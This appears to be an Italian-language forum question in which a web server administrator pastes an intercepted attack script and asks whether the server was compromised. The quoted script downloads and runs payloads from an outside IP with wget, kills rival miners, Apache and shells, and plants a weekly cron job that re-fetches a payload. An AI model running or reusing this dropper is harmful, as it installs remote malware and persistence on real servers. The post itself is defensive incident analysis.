Ho intercettato un attacco al mio server web che ritengo non abbia avuto successo. L'autore dell'attacco ha tentato di eseguire questo script:
#!/bin/sh
cd /tmp;cd /dev/shm
wget -q http://221.132.37.26/xx -O ...x
chmod +x ...x
./...x
cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru
cd /dev/shm ; wget 221.132.37.26/rr; bash rr; rm -rf rr
killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php
killall -9 .rnd
killall -9 .a
killall -9 kernelupdate
killall -9 dev
killall -9 sh
killall -9 bash
killall -9 apache2
killall -9 httpd
killall -9 cla
killall -9 ka
killall -9 kav
killall -9 m32
killall -9 m64
killall -9 perl
killall -9 sh
killall -9 sucrack
killall -9 m64 m32 minerd32 minerd64 minerd cla qt64 qt32 clover cron sh wget
kill -9 'pidof .rnd'
kill -9 'pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w'
kill -9 'pidof dev'
kill -9 'pidof perl'
kill -9 'pidof m32'
kill -9 'pidof m64'
kill -9 'pidof ka'
kill -9 'pidof kav'
kill -9 'pidof cla'
kill -9 'pidof sh'
kill -9 'pidof sucrack'
echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron
rm -rf /tmp/cron
Vedo che recupera altri tre script di wget, li esegue, li elimina (possibili per scopi di tracciamento), uccide alcuni processi, imposta un cron da eseguire settimanalmente, quindi lo rimuove (?!).
Come possiamo vedere, uccide Apache e sh stesso. È strano dal momento che se Apache e sh vengono uccisi l'attacco non funzionerebbe più, vero?
Ho motivo di credere che questo payload non sia mai stato effettivamente eseguito, perché:
- L'attacco è stato tentato utilizzando le richieste GET. Grazie ad Apache mod_rewrite, tutto ciò che ha ottenuto è stato un 404.
- L'autore dell'attacco stava tentando di sfruttare una vulnerabilità del backend PHP, che non è applicabile a me.
Tutto ciò significa che sono ancora al sicuro? Penso che fare un crontab -l
controlli se il mio server è compromesso. L'output era:
ubuntu@ip-172-31-24-52:~$ crontab -l
no crontab for ubuntu
ubuntu@ip-172-31-24-52:~$ sudo su
root@ip-172-31-24-52:/home/ubuntu# crontab -l
no crontab for root